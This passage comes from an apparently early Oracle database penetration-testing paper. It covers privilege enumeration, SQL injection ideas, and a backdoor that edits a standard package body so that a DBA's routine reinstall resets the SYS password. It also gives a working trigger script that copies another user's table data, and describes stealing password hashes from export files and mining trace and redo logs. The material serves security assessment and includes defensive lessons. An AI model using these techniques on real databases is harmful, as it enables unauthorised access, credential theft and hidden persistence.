         CPU_PER_SESSION           KERNEL     UNLIMITED
         PASSWORD_REUSE_TIME       PASSWORD   UNLIMITED
           CPU_PER_CALL              KERNEL     UNLIMITED
         PASSWORD_REUSE_MAX        PASSWORD   UNLIMITED
           LOGICAL_READS_PER_SESSION KERNEL     UNLIMITED
         PASSWORD_VERIFY_FUNCTION  PASSWORD   UNLIMITED
           LOGICAL_READS_PER_CALL    KERNEL     UNLIMITED
         PASSWORD_LOCK_TIME        PASSWORD   UNLIMITED
         IDLE_TIME                 KERNEL     UNLIMITED
         PASSWORD_GRACE_TIME       PASSWORD   UNLIMITED
         CONNECT_TIME              KERNEL     UNLIMITED
         PRIVATE_SGA               KERNEL     UNLIMITED

16 rows selected.

Object Privileges
=================

Grantor  Object               Owner    Privilege
-------- -------------------- -------- ----------
SYS      DBMS_SYS_SQL         SYS      EXECUTE

Column Privileges
=================

no rows selected

System Privileges
=================

Privilege                      Adm
------------------------------ ---
CREATE ANY TRIGGER             NO
CREATE PUBLIC SYNONYM          NO
UNLIMITED TABLESPACE           NO

Role Privileges
===============

Granted Role                   Def Adm
------------------------------ --- ---
CONNECT                        YES NO
RESOURCE                       YES NO
SNMPAGENT                      YES NO
```

Note that the above is not the standard set of privileges granted to the user *DBSNMP* at the installation stage. If you want to see what privileges the roles in this case `CONNECT` and `RESOURCE` give to the user then re-run the queries above but substitute `in ('CONNECT','RESOURCE')` for `like 'DBSNMP'`.

You can already guess how to find the privileges granted to the user you are already logged in as. Just substitute the relevant `DBA_%` views with the relevant `USER_%` views and re-run the queries.

SQL Injection

SQL Injection is becoming a well known technique for attacking databases. A number of documents can be found on the Internet describing SQL Injection. In my opinion one of the best resources are a number of documents by Rain Forest Puppy which can be found at the following URL's:

- http://www.wiretrip.net/rfp/p/doc.asp?id=42&iface=6
- http://www.wiretrip.net/rfp/p/doc.asp?id=7&iface=2
- http://www.wiretrip.net/rfp/p/doc.asp?id=60&iface=6

A search of the Internet did not find anything related directly to SQL*Injecting the Oracle *RDBMS* directly. It can be seen that there are two classes of attack for SQL Injection in Oracle:

- **SQL Injecting the standard Oracle Packages**.

  The built in packages have been investigated in detail with a view to SQL Injecting them, with regard to privilege escalation. They could be injected to gain access to user data or to change user data, *watch this space*.

  Investigation of the standard packages is possible even though they are wrapped and the implementation is hidden by using the source code from Oracle 7 and earlier where the source of the package bodies was shipped with the *RDBMS*. Also its possible to read the source of the wrapped packages and see some parts of the SQL that is used in a particular package. What we are looking for is a piece of SQL that is executed in a package where part of it is passed in. Then call the function or procedure and pass in extra SQL. This has been tried on many of the packages by additionally trying to get the function or procedure to alter the password of the user *SYS*. This was only possible when logged in as a *DBA* in one instance. When tried from a non *DBA* account it fails with an ORA-1031 error. So *watch this space* for further info if a break through is managed.

  Executing arbitrary SQL is probably pointless in this instance, as if we have access to execute any built in package then we have access to execute arbitrary SQL anyway. The key in SQL Injection is to privilege escalation or running SQL that should not be run.
- **SQL Injecting Oracle Applications**

  Using SQL Injection to attack an Oracle database through an existing application, whether its a proprietary client application, written with Oracle tools, or based on another tool or based on a Web based front end should be much easier. In this case you can either look to gain privileges or to access data, or update data that you shouldn't have access to.

  The only way to gain privileges in SQL that can be seen is by being able to alter a users password so that you can log in as them or grant yourself extra privileges. At the Oracle level this really means getting access as a *DBA*. In a lot of applications that have seen the authors re-implement the Oracle security mechanisms, this probably means that its possible to gain higher privileges in applications in the *RDBMS* itself. Its very difficult to talk about a specific example as this would divert from the general nature of this document. We hope to publish specific examples in a future paper on Oracle SQL Injection.

There are a number of tools that can be used to assist in SQL injection. If its possible to gain access to the application source code then this is the best way in. It should be then possible to identify fields that are filled in by a user where the value ends up as part of an SQL statement. You need to find a field where the type of data entered is not checked. An example would be a numeric field where it is also possible to pass a string containing an extra SQL statement. Or a text field where the quotes are not properly dealt with.

If the source code is not available then if possible use the Oracle trace facility to view what SQL was executed by the session and the bind variables were if level 12 trace is used. The script `sql.sql` available from the downloads page at www.pentest-limited.com described below is used to extract the SQL from the SGA after it has been executed to identify what is going on from inside an application. Use `alter session ..` statements to identify the contents of the library cache. Extract SQL from the archive redo

logs and the bind variables. Packet sniffers can also be used to see what is being passed from the client to the server process. Its possible to use the Unix command *truss* or the Linux commands *ltrace* and *strace* to see what the relevant process is doing.

Its important to understand the structure of the database schema of the user we are attacking. Some ideas on how to do this are included in this paper.

To use some of these tools access to the trace directory is needed or *dba* access, but this shouldn't be a problem when investigating on a standalone system. The results can of course be then applied to any other system where access is not forth coming.

See SQL Injection on Oracle, a paper on Oracle SQL Injection coming soon.

Editing the standard packages

The standard packages provide a possibility to plant a worm or trojan in the Oracle database. The standard packages are discussed in the section on the PL/SQL *wrap* program. Although the source code to the standard packages is not available its still possible to use them as a back door to get into the database.

It's possible with a lot of adding of dummy objects and synonyms to get a standard package such as `DBMS_UTILITY` to install and compile in the schema of a user such as *DBSNMP*. If anyone is interested information can be provided on how this was done. BUT, there is a problem. Why install the package in *DBSNMP*'s schema?. Well this package tantalisingly tells us in the header source that apart from `analize schema` and `compile schema` the SQL used in this package runs as use SYS. The plan was to install as a user we have access to and then alter it so that we can gain privileges. This doesn't work in the end as an error `ORA-6509 ICD vector missing` was seen. No matter

The next plan is to alter the body and re-install it as the user *SYS*, which is what was done next. Amend the source code of the package body for the package `DBMS_SESSION.SET_SQL_TRACE` as an example and re-installed it as *SYS*. Search through the file `$ORACLE_HOME/rdbms/admin/prvutl.plb` and edit the line.

```
1alter session set sql_trace true:
```

to

```
1alter user sys identified by sys:
```

Re-install the package body as *SYS* and execute the function as another user such as *DBSNMP*. Unfortunately it fails with an `ORA-1031` error. But if run as a *DBA* it changes the *SYS* password.

There are a number of issues with this potential attack, but it is a potential vulnerability in oracle. The file in the `$ORACLE_HOME/rdbms/admin` directory needs to be writable. Its not un-reasonable for this file to be re-run at some stage as *DBA*'s quite often re-run `catproc.sql` and `catalog.sql`. This file will be run as part of that procedure. This is quite a good example as well as its not un-reasonable for a *DBA* to use this procedure to turn on trace. The hacker just needs to check regularly if he can access the database as *SYS* with his new password. If he can remove his tracks and create another way in with this new found access. Its not un-reasonable also that a *DBA* wouldn't notice that the *SYS* password had changed as few sites actually log on as *SYS* regularly.

Password Cracking

Investigations on the internet have not been able to find a specific password cracker for Oracle, unless someone else knows otherwise. The actual encryption / hash algorithm used internally by Oracle is not known to the public. The security and algorithms used for the Advanced security options are known, but not the method used to create the hash stored in the table `SYS.USER$` in the database.

What is known, well, Oracle *munge* the username and password together before encrypting to a fixed length of 16 characters. The algorithm is quite old as its been used in many versions of Oracle. The algorithm creates the same hash on different versions of Oracle and on different platforms.

The characters that can be used in a password are quite limited. There are a few punctuation characters that can be used, but only in some cases if the password is encased in quotes.

Its worth noting that a password in quotes or not is not case sensitive, ie a password of "pete" and "PETE" give the same password hash in USER$.

PenTest Limited have developed an Oracle password cracker. This tool can be used to perform dictionary attacks and brute force attacks on the *SYS* user and will work off line if the password hash is available from any one of many sources, or will attempt to log in with each tried password if the hash is not available.

This tool and a white paper describing it will be available shortly from PenTest Limited.

Un-Documented Oracle

There are few un-documented features of the *Oracle RDBMS*. Some good examples are:

- ***dbms_sys_sql*** is an un-documented package used by Oracle itself in the *Oracle Replication Options*. There is one interesting function available in this package *parse_as_user* that allows the PL/SQL in a package using this feature to be run as the invoker rather than the package owner. This particular function is described in the dbms_sys_sql.parse_as_user section.
- ***oradebug*** is the oracle debugger supplied with Oracle itself. This tool is not documented as Oracle do not really want you to use it. Indeed there are probably very few people outside of Oracle that know how to use it in anger. *oradebug* will be discussed later in a little more detail.
- ***current session***. There is an un-documented `alter session` command to set the current schema to another user. An example is shown

  ```
  alter session set current_schema = yes
  ```

  This will change the schema to the SYS schema. What does this do for us?, Well it doesn't turn us into SYS unfortunately. However it does allow access to objects owned by SYS or any other user we have changed the schema to where access has been granted to use this object but there is no synonym. Here is an example session.

```
SQL> connect dbsnmp/dbsnmp
SQL> desc user$

ERROR:
ORA-04043: object user$ does not exist

SQL> alter session set current_schema=SYS;
session altered.

SQL>
SQL> desc user$

Name                                                      Null?    Type
--------------------------------------------------------- -------- ----------------------
-------------
USER#                                                     NOT NULL NUMBER
NAME                                                      NOT NULL VARCHAR2(30)
TYPE#                                                     NOT NULL NUMBER
PASSWORD                                                           VARCHAR2(30)
DATATS#                                                   NOT NULL NUMBER
TEMPTS#                                                   NOT NULL NUMBER
CTIME                                                     NOT NULL DATE
PTIME                                                              DATE
```

```
EXPTIME                                                    DATE
LTIME                                                      DATE
RESOURCE$                                         NOT NULL NUMBER
AUDIT$                                                     VARCHAR2(38)
DEFROLE                                           NOT NULL NUMBER
DEFGRP#                                                    NUMBER
DEFGRP_SEQ#                                                NUMBER
ASTATUS                                           NOT NULL NUMBER
LCOUNT                                            NOT NULL NUMBER
DEFSCHCLASS                                                VARCHAR2(30)
EXT_USERNAME                                               VARCHAR2(4000)
SPARE1                                                     NUMBER
SPARE2                                                     NUMBER
SPARE3                                                     NUMBER
SPARE4                                                     VARCHAR2(1000)
SPARE5                                                     VARCHAR2(1000)
SPARE6                                                     DATE
SQL>
```

- ***un-documented initialisation parameters***. Oracle initialisation parameters or INIT.ORA parameters with an underscore in front of them are *unsupported* parameters. A complete list of these parameters can be obtained from the *x$* tables. These tables will be discussed later in this paper. Oracle recommend that you do not set these parameters without express permission from themselves. Here is an Oracle query to find all of the hidden parameters in an *Oracle 8i* database.

```
select *
from sys.x$ksppi
where substr(ksppinm,1,1)='_';
```

  This gives a total of 248 parameters. Some of the interesting ones are the ones that allow you to open a database even if it's corrupt. This can be used to open a database built from incomplete backups to try and take any data from it. The parameter is called *_allow_read_only_corruption*. There are others that can also be used such as *_allow_resetlogs_corruption* and *_compatible_no_recovery*. These parameters have to be added to the initialisation file and should not be used without Oracle's permission in a production database. One other useful parameter is *_trace_files_public* which make trace files world readable.
- ***others***. Other un-documented features are mentioned throughout this document.

World readable files and SUID and SUIG files

World readable files should always be checked for in the `ORACLE_HOME` area. Of particular interest are trace files, redo logs, actual database data files, archive redo logs and any export files. Its always worth checking out log directories, /tmp and anywhere that looks like a location for backups and export files. If you can access trace files grep for `ALTER USER` commands, `CREATE USER` commands, `GRANT CONNECT` commands, *grep* export files for usernames and passwords in plain text, as they are sometimes visible for database links. Also extract the password hashes from the export files.

There are a number of well documented holes in some of the Oracle executables where privilege escalation can be achieved. I am not going to repeat this information here. The exploits can be viewed from www.securityfocus.com in the bugtrack database.

Database events

One of the major internal features of the Oracle *RDBMS* is the use of events. Oracle has a large number of events that can be set and which alter the behaviour of some feature of the *RDBMS* or which cause certain information to be written to trace files. Again other events are set when an error occurs in the *RDBMS*. Brief details of the events that can be seen or used are available in a file in

`$ORACLE_HOME/rdbms/mesg/oraus.msg` on a Unix installation. The events that can be set are mainly in the range 10000 to 10999, although there are some outside of this range.

To set an event you need usually further information about the exact syntax. Oracle do not want customers to set events apart from 10046 (trace)without their permission. Experimenting with events and seeing what information is dumped to trace files is to be a further paper from PenTest Limited.

Events can be set as follows.

```
SQL> alter session set events '10046 trace name context forever, level 12';
```

This then creates a level 12 trace file. This file is written to the `user_dump_dest` and will include information about the SQL executed, the recursive SQL, the WAIT events and the BIND variables and values.

Remember Oracle do not support using any events, so do not try setting events on a production database, of course setting some events could cause DOS (Denial of Service) or database damage. It is possible to set events as the user *DBSNMP* as this user has the privilege `alter session` using the syntax above.

There is an un-documented pair of procedures in the package `DBMS_SYSTEM` that allows you to set any event at any level and another to read which events are set in the current session. The function to set events as the following form.

```
sys.dbms_system.set_ev( si binary_integer,      -- sid
                        se binary_integer,              -- serial#
                        ev binary_integer,              -- event
                        le binary_integer,              -- level
                        nm varchar2);                   -- name
```

Calling this procedure needs execute permission to have been granted to the user used, on it by the user *SYS*. This is not the default. Any event can be set using this procedure. But experimenting with these events could lead to interesting discoveries and database damage, so beware.

Following is a simple piece of code `events.sql` that can be used to check what events have been set in your session. This can be dowloaded from the downloads page on www.pentest-limited.com.

```
set serveroutput on size 100000
spool event.lis
declare
        ev      binary_integer:=0;
        stat    binary_integer:=0;
begin
        for ev in 10000..10999 loop
                sys.dbms_system.read_ev(ev,stat);
                if stat=1 then
                        dbms_output.put_line('event :'||ev||' value :'||stat);
                end if;
        end loop;
end;
/
spool off
```

Running the above after setting trace gives the following output.

```
SQL> alter session set sql_trace true;

Session altered.

SQL> @events
event :10046 value :1

PL/SQL procedure successfully completed.
```

Analysing the database layout

The following script `layout.sql` can be used to see the layout of the database from its key files. This script can be downloaded from the downloads page on www.pentest-limited.com. The following script will show details of the control files, the redo log files, details of the database files that are used by the tablespaces to actually store the data in the database and details of the tablespace settings. This is a general *DBA* script, but can be useful in security terms to show where all the files are and what they are used for.

```
clear cols
set headoff feedback off pagesize 80 linesize 80
col filen    head "Filename"          for a45
col grp      head "Group"             for 99
col sizn     head "Size (K)"          for 999990
col tblsp    head "Tablespace"        for a18
col minextst head "Min|ext"           for 999
col maxxt    head "Max|ext"           for 99990
col pinc     head "Pct|Inc"           for 99990
col rseg     head 'Rollback|Segment'  for a10  trunc
col ts       head 'Tablespace|'       for a10
col inxtt    head 'Init|(K)'          for 9999999
col nxt      head 'Next|(K)'          for 9999999
col exts     head 'ext|(#)'           for 99990
col sz       head 'Size|(K)'          for 999999
col bk                                for 999
col typ      head 'type|'             for a7
col megb     head 'Size (MB)'         for 9999

spool layout.lis

prompt  Control Files

select  name
from            v$controlfile;
set head on

prompt  Redo Log Files

select  a.group# grp,
                b.member filen,
                a.bytes/1024 sizn
from            v$log a,
                v$logfile b
where   a.group# = b.group#;
```

```
prompt  Data Files

select  tablespace_name tblsp,
                file_name filen,
                bytes/1048576 megb
from            sys.dba_data_files
order by tablespace_name;

prompt  Tablespace Storage

select  tablespace_name tblsp,
                initial_extent/1024 inxtt,
                next_extent/1024 nxt,
                min_extents minextst,
                max_extents maxxt,
                pct_increase pinc
from            sys.dba_tablespaces
order by tablespace_name;

select  n.name rseg,
                r.tablespace_name ts,
                decode(r.owner,'SYS','PRIVATE',r.owner) typ,
                r.initial_extent/1024 inxtt,
                r.next_extent/1024 nxt,
                r.min_extents minextst,
                r. max_extents maxxt,
                s.extents exts,
                s.rssize/1024 sz
from            v$rollname n,
                v$rollstat s,
                sys.dba_rollback_segs r
where   n.usn = s.usn
and             s.usn = r.segment_id;

set head off

select  segment_name rseg,
                tablespace_name ts,
                decode(owner,'SYS','PRIVATE',owner) typ,
                initial_extent/1024 inxtt,
                next_extent/1024 nxt,
                min_extents minextst,
                max_extents maxxt,
                0 bk,
                status
from            sys.dba_rollback_segs
where   status != 'ONLINE';

spool off
```

A sample output from running this script on a windows based database is shown below.

```
Control Files

NAME
```

```
--------------------------------------------------------------------------------
--------------
C:\ORACLE\ORADATA\PENT\CONTROL01.CTL
C:\ORACLE\ORADATA\PENT\CONTROL02.CTL

Redo Log Files

Group Filename                                     Size (K)
----- ---------------------------------------- --------
    1 C:\ORACLE\ORADATA\PENT\REDO04.LOG               1024
    2 C:\ORACLE\ORADATA\PENT\REDO03.LOG               1024
    3 C:\ORACLE\ORADATA\PENT\REDO02.LOG               1024
    4 C:\ORACLE\ORADATA\PENT\REDO01.LOG               1024

Data Files

Tablespace         Filename                                    Size (MB)
------------------ ---------------------------------------- ---------
INDX               C:\ORACLE\ORADATA\PENT\INDX01.DBF                 2
OEM_REPOSITORY     C:\ORACLE\ORADATA\PENT\OEMREP01.DBF                5
RBS                C:\ORACLE\ORADATA\PENT\RBS01.DBF                  25
SYSTEM             C:\ORACLE\ORADATA\PENT\SYSTEM01.DBF               140
TEMP               C:\ORACLE\ORADATA\PENT\TEMP01.DBF                  2
USERS              C:\ORACLE\ORADATA\PENT\USERS01.DBF                 3

6 rows selected.

Tablespace Storage

                       Init     Next  Min    Max    Pct
Tablespace              (K)      (K)  ext    ext    Inc
------------------ -------- -------- ---- ------ ------
INDX                     10       10    1    121     50
OEM_REPOSITORY           10       10    1    121     50
RBS                      10       10    1    121     50
SYSTEM                   10       10    1    121     50
TEMP                     10       10    1    121     50
USERS                    10       10    1    121     50

6 rows selected.


Rollback   Tablespace type        Init     Next  Min    Max    ext    Size
Segment                            (K)      (K)  ext    ext    (#)     (K)
---------- ---------- ------- -------- -------- ---- ------ ------ -------
SYSTEM     SYSTEM     PRIVATE       50       50    2    121      8     398
RB1        RBS        PUBLIC       100      250    2    121      3     598
RB2        RBS        PUBLIC       100      250    2    121      3     598
RB3        RBS        PUBLIC       100      250    2    121      3     598
RB4        RBS        PUBLIC       100      250    2    121      3     598
RB5        RBS        PUBLIC       100      250    2    121      3     598
RB6        RBS        PUBLIC       100      250    2    121      3     598
RB7        RBS        PUBLIC       100      250    2    121      3     598
RB8        RBS        PUBLIC       100      250    2    121      3     598
RB9        RBS        PUBLIC       100      250    2    121      3     598
RB10       RBS        PUBLIC       100      250    2    121      3     598
RB11       RBS        PUBLIC       100      250    2    121      3     598
RB12       RBS        PUBLIC       100      250    2    121      3     598
```

```
RB13       RBS        PUBLIC       100      250    2    121      3     598
RB14       RBS        PUBLIC       100      250    2    121      3     598
RB15       RBS        PUBLIC       100      250    2    121      3     598

16 rows selected.


RB_TEMP    SYSTEM     PRIVATE      100      100   10   1024    0 OFFLINE
RB16       RBS        PUBLIC       100      250    2    121    0 OFFLINE
RB17       RBS        PUBLIC       100      250    2    121    0 OFFLINE
RB18       RBS        PUBLIC       100      250    2    121    0 OFFLINE
RB19       RBS        PUBLIC       100      250    2    121    0 OFFLINE
RB20       RBS        PUBLIC       100      250    2    121    0 OFFLINE
RB21       RBS        PUBLIC       100      250    2    121    0 OFFLINE
RB22       RBS        PUBLIC       100      250    2    121    0 OFFLINE
RB23       RBS        PUBLIC       100      250    2    121    0 OFFLINE
RB24       RBS        PUBLIC       100      250    2    121    0 OFFLINE

10 rows selected.
```

This can be used along with the locations of the trace files and archive redo logs as a starting point for checking file permissions to see if any of these files can be copied or read. Export files will be discussed later.

The location of the archive redo logs and trace files can be found by using the following commands. Checking if the database is in `ARCHIVELOG MODE` was discussed in the section on backups.

```
SQL> sho parameter arch

log_archive_dest                     string
log_archive_dest_1                   string
log_archive_dest_2                   string
log_archive_dest_3                   string
log_archive_dest_4                   string
log_archive_dest_5                   string
log_archive_dest_state_1             string  enable
log_archive_dest_state_2             string  enable
log_archive_dest_state_3             string  enable
log_archive_dest_state_4             string  enable
log_archive_dest_state_5             string  enable
log_archive_duplex_dest              string
log_archive_format                   string  ARC%S.%T
log_archive_max_processes            integer 1
log_archive_min_succeed_dest         integer 1
log_archive_start                    boolean FALSE
optimizer_search_limit               integer 5
standby_archive_dest                 string  %ORACLE_HOME%\RDBMS
SQL> sho parameter user_dump_dest

user_dump_dest                       string  C:\Oracle\admin\PENT
SQL> spool off
```

As you can see there are a number of locations where the archive redo logs may be found. On this simple Windows set up the database is not in `ARCHIVELOG MODE` and the value for `log_archive_dest` is null. This is the place archive log files should be found.

Capture data using a Trigger

It is possible to read the data in a table owned by another user where your user does not have any privileges whatsoever on the other users table !! This trick is achieved with the use of triggers. I got this idea from the O'Reilly book *ORACLE SECURITY* page 103-105, but the example in that book is actually incorrect for two reasons. There is a missing keyword in the trigger code they create and the code does not actually work. The authors make the point that the user *ralph* has only been granted the roles `CONNECT` and `RESOURCE` and that the role `RESOURCE` includes the privilege `CREATE TRIGGER` which it does. They then go on to give an example where by this user *ralph* who has no privileges on the user *mary's* table is able to create a trigger on it.

This is not the case in Oracle 8i and indeed going back to Oracle 7.2.3 and trying it shows it does not work there either. The reason is this, the privilege needed to be able to create triggers on any table (except triggers on the user *SYS* tables) is in fact `CREATE ANY TRIGGER` and this privilege is not granted to the role `RESOURCE`. On the standard installation on Linux no users except the *DBA*'s have this privilege, but on windows NT the user *MDSYS* does. A number of the other users its possible could exist also have this privilege.

So in summary the trick will still work as long as the user or any role granted to the user has the system privilege `CREATE ANY TRIGGER`. Here is a section of code and the output to show it working.

```
spool trig.lis
connect outln/outln

create table pxf_test(col_01    number(2),col_02        varchar2(10));

insert into pxf_test(col_01,col_02)values(1,'secret');

--
-- dont grant anything on this table to anyone
--

connect mdsys/mdsys

--
-- create a table to capture the data
--

create table pxf_secret(col_01 number(2),col_02 varchar2(10),col_03 varchar2(1));

grant select, insert, update on pxf_secret to public;

--
-- create a trigger on this table
--

create or replace trigger pxf_trig
before insert or update or delete
on outln.pxf_test
for each row
declare
        act     varchar2(1);
        id      number(2);
        txt     varchar2(10);
begin
        if inserting then
                act:='I';
```

```
                id:=:new.col_01;
                txt:=:new.col_02;
        elsif updating then
                act:='U';
                id:=:old.col_01;
                txt:=:new.col_02;
        elsif deleting then
                act:='D';
                id:=:old.col_01;
                txt:=:old.col_02;
        end if;
        insert into pxf_secret(col_01,col_02,col_03)
        values(id,txt,act);
end;
/

connect outln/outln
insert into pxf_test(col_01,col_02)
values(2,'what is it');

connect mdsys/mdsys

select * from pxf_secret;

spool off
```

Running this code gives us the following output.

```
Connected.

Table created.

1 row created.

Connected.

Table created.

Grant succeeded.

Trigger created.

Connected.

1 row created.

Connected.

   COL_01 COL_02     C
--------- ---------- -
        2 what is it I
```

It can be seen from this that it was possible to create a trigger as the user *MDSYS* and even though that user has no privileges on the table PXF_TEST in the user *OUTLN*'s schema chages were still captured.

Two lessons can be learnt from this.

- Don't grant the system privilege `CREATE ANY TRIGGER` to any user that doesn't need it.
- Check your database regularly for triggers and any other objects that should not be there.

Redo-logs, trace files, exports, alert logs and control files

There are a number of *output* files that can be read to gain information about the database to be accessed. Most of these should be protected and should not be readable, but its worth checking to see if they are and then trying to get information from them as follows.

Export files

Export files are created by the Oracle utility *exp*. This tool is used to extract the data stored in single objects in one users schema or all objects in the whole database or anywhere in between. The Oracle utility *imp* is used to insert the data exported back into the same database schema, another schema or another database altogether.

The header of an export file looks like this:

```
   EXPORT:V08.01.05
DSYSTEM
RENTIRE
2048
0
28
4000
```

The file is not purely ASCII text but a combination of ASCII text and binary data. If an export file can be copied that has been taken from the database you wish to attack then you can import the data into another database, and because its your database you can arrange to read any of the data imported. If the export file is a *full* export then it will also contain all the data and structure for all schemas in ths database including the *SYS* schema. If the file can be taken then create an empty database on a local machine and do a full import and then have access to all the data and the *SYS* schema including the password hashes.

If it is possible to read the file and not have access to copy it and its a full export then read the password hashes for each user and take them away to try and crack them. This can be performed using a cracker or by creating the users with these hashes in a database of our own and simply trying to guess passwords without being noticed. An example of the user creation can be seen from the export file above as follows:

```
...
ALTER USER "SYS" IDENTIFIED BY VALUES 'B024681DBF11A33E'
ALTER USER "SYSTEM" IDENTIFIED BY VALUES 'D4DF7931AB130E37' DEFAULT TABLESPACE
"USERS" TEMPORARY TABLESPACE "TEMP"
CREATE USER "OUTLN" IDENTIFIED BY VALUES '4A3BA55E08595C81'
CREATE USER "DBSNMP" IDENTIFIED BY VALUES 'E066D214D5421CCC'
CREATE USER "AURORA$ORB$UNAUTHENTICATED" IDENTIFIED BY VALUES '80C099F0EADF877E'
...
```

From above you can see how Oracle uses the un-documented keyword "*VALUES*" to create the users in another database without knowing the users password. You can simply *grep* for the phrase `IDENTIFIED BY` in the export file. If you are looking to just steal some data, you need to *grep* the file to see if your table is there, if so import it into another database. Trying to get the data from the export file itself is possible but very difficult and time consuming.

Redo Log files

Reading the redo log files became easier in Oracle 8i, as there is now a GUI based tool available called *Log Miner* that allows you to extract information from the redo logs. The Redo logs contain a sort of compiled binary form of the exact actions needed to update the database. These files are not human readable and to be able to do anything with them, an ASCII text version is needed. To be able to read Redo Logs dump them to a trace file with the following command:

```
SVRMGRL> ALTER SYSTEM DUMP LOGFILE  ;
```

```
The options are:
```

RBA MIN seqno.blocko RBA MAX seqno.blockno DBA MIN fileno.blockno DBA MAX fileno.blockno TIME MIN value TIME MAX value LAYER value OPCODE value

The log file does not need to be dumped by the same database that created it. Provided the version of Oracle is exactly the same then it can be dumped. So if you can read the log file and archive log files then they can be taken and read elsewhere. The trace file is written to the directory pointed to by the parameter `background_dump_dest`. This can be found as follows:

```
SQL> sho parameter background_dump_dest

NAME                                 TYPE    VALUE
------------------------------------ ------- --------------------
background_dump_dest                 string  C:\Oracle\admin\PENT
```

The log file will use the regular naming convention for trace files. To ensure you have all of the redo in the trace file check that the string `END_OF_REDO_DUMP` is on the last line. To find a list of log files to dump do the following:

```
SQL> l
  1* select * from v$loghist
SQL> /

  THREAD# SEQUENCE# FIRST_CHANGE# FIRST_TIM SWITCH_CHANGE#
--------- --------- ------------- --------- --------------
        1         1        137639 20-JUL-01         137785
        1         2        137785 20-JUL-01         137861
...
...
        1       104        745439 04-AUG-01         765538
        1       105        765538 04-AUG-01         785644

  THREAD# SEQUENCE# FIRST_CHANGE# FIRST_TIM SWITCH_CHANGE#
--------- --------- ------------- --------- --------------
        1       106        785644 05-AUG-01         805746

106 rows selected.
```

By combining the sequence number with the `log_archive_format` find the name of the file to dump with the command shown above. All of the DML (Data Manipulation Language)and DDL (Data Definition Language) executed in the database can be seen in the log files. DDL actually transforms into SQL statements on the *SYS* owned tables in the data dictionary. This is known as the recursive SQL.

Therefore with quite a bit of effort it is possible to extract a lot of information from the Redo Logs. Of course, if a cold backup is available as well, re-run the redo logs into a copy of the database to be attacked. PenTest will soon make available a paper on understanding the redo logs and extracting data from Oracle database files directly without the *RDBMS* being there. This will be available soon from Reading Redo Logs and Datafiles.

Alert Logs

The alert log is located in the directory pointed to by the parameter `background_dump_dest`. There is only one alert log per database. It is named alert_[DATABASE SID].log. You won't find any interesting SQL statements, but there is still a lot of information that can be gleaned from the alert log if it can be read. A lot of the system parameters and locations of files are included in the file. The times the database is stopped and started can be seen in the file as well. Below is an example of part of an alert log from an example database.

```
Dump file C:\Oracle\admin\PENT\bdump\pentALRT.LOG
Fri Jul 20 16:24:38 2001
ORACLE V8.1.5.0.0 - Production vsnsta=0
vsnsql=d vsnxtr=3
Windows NT V5.0, OS V8.147, CPU type 586
Starting up ORACLE RDBMS Version: 8.1.5.0.0.
System parameters with non-default values:
  processes                = 59
  shared_pool_size         = 15728640
  java_pool_size           = 20971520
  control_files            = C:\Oracle\oradata\PENT\control01.ctl,
C:\Oracle\oradata\PENT\control02.ctl
  db_block_buffers         = 8192
  db_block_size            = 2048
  compatible               = 8.1.0
  log_buffer               = 32768
...
...
```

Control Files

The control files keep the details of all structures and files in the database. These files are not readable as they are in a binary format, however the files can be dumped to trace so that they can be recreated or read in an ASCII text editor. The command to find the control files is:

```
SQL> select *
  2  from v$controlfile;

STATUS
-------
NAME
--------------------------------------------------------------------------------
--------------

C:\ORACLE\ORADATA\PENT\CONTROL01.CTL


C:\ORACLE\ORADATA\PENT\CONTROL02.CTL
```

The command to dump the control file to trace is as follows:

```
SQL> alter database backup controlfile to trace;
```

This command as it suggests creates a trace file with enough information in it to recreate the database control files. The Information in the trace file, if you can create it and read the trace directory can be used to find the key database files.

Trace files

Oracle supports a multitude of trace facilities. Trace can be applied in a large number of ways and utilising various events a large part of the functionality of Oracle can be traced. Trace files can be used to spy on other Oracle processes to see what they are executing and even what data values are being used in the PL/SQL or SQL. Trace files can contain all sorts of structural information about the database that you are attacking and can contain telling statements such as `alter user..` commands where its possible to extract the password hash.

Trace files are located in one of two places. User created trace is stored in the directory pointed to by the paramater `user_dump_dest` and can be in the background directory if generated by a failure pointed to by the parameter `background_dump_dest`.

Trace can be used to help understand the structure and use of an application where the source code is not available and for SQL Injection exploits and as many other uses as can be thought of.

Oracle trace files can be generated for any application. There are a number of ways of turning Oracle Trace on. In SQL*Plus or using server manager you can use an "alter session" command to turn trace on as follows:

```
alter session set sql_trace=true;
```

Or you can use the built in package dbms_sesion and call the function
`SQL> exec dbms_session.set_sql_trace(true);`
Or finally you can use oradebug as follows, you first need to find the PID of the oracle process, this can be done with the script `who.sql` to get the sid and serial# of the process being traced. This script can be obtained from the downloads page on www.pentest-limited.com.

Then use the following oradebug commands:

```
SQL> @who

STATUS   SPID      USERNAME     SID SERIAL# USRNAME
-------- --------- ---------- ----- ------- ----------
ACTIVE   768       SYSTEM         1       1
ACTIVE   776       SYSTEM         2       1
ACTIVE   780       SYSTEM         3       1
ACTIVE   784       SYSTEM         4       1
ACTIVE   788       SYSTEM         5       1
ACTIVE   756       SYSTEM         6       1
ACTIVE   792       SYSTEM         7     629
ACTIVE   796       SYSTEM         8     629
INACTIVE 1192      SYSTEM        11     127 SYSTEM
ACTIVE   604       SYSTEM        13     484 SYS
INACTIVE 1268      SYSTEM        12      39 DBSNMP
```

```
11 rows selected.

SQL>
```

To trace the process owned by *DBSNMP* the *spid* is needed for this process. Then use *oradebug* as follows.

```
SVRMGRL> oradebug setospid 1268
Statement processed
SVRMGRL> oradebug unlimit
Statement processed
SVRMGRL> oradebug event 10046 trace name context forever, level 12
Statement processed
```

Oracle writes trace files to pre-determined locations. Trace files generated when an error occurs are written to both the background dump destination and also to the user dump destination. Trace files are named using ora_[pid].trc under windows and ora_[pid].trc.

Oracle provides a tool called *tkprof* that can be used to sanitise the trace files into a more readable format. It is possible to read the raw trace files, and is is possible to write a simple script that processes trace files on the fly to see what the database is doing in real time. This was done for an Oracle tuning project. The trace file name is replaced by a pipe before trace is started and then trace is started using oradebug. Then the pipe is fed through a simple awk script. This then allows trace to run constantly without eating up disk space and to allow real time observation of the Oracle Internals.

The Oracle Dictionary

Oracle stores information about the structure of any objects in the database in the *data dictionary*. This is known as *meta data*. The Oracle data dictionary also stores information about the structure of the dictionary itself. There is a database table called `DICTIONARY` that can be used as a starting point for finding any information about any table in the Oracle database. The view `DBA_OBJECTS` can also be used to find details of any object in the database.

Check Who Owns What

Seeing who owns what in an Oracle database is quite easy. The view you look at depends on the access you have. There are a set of views called:

DATABASE VIEW	Description
DBA_OBJECTS	This view shows information about all objects in the database.
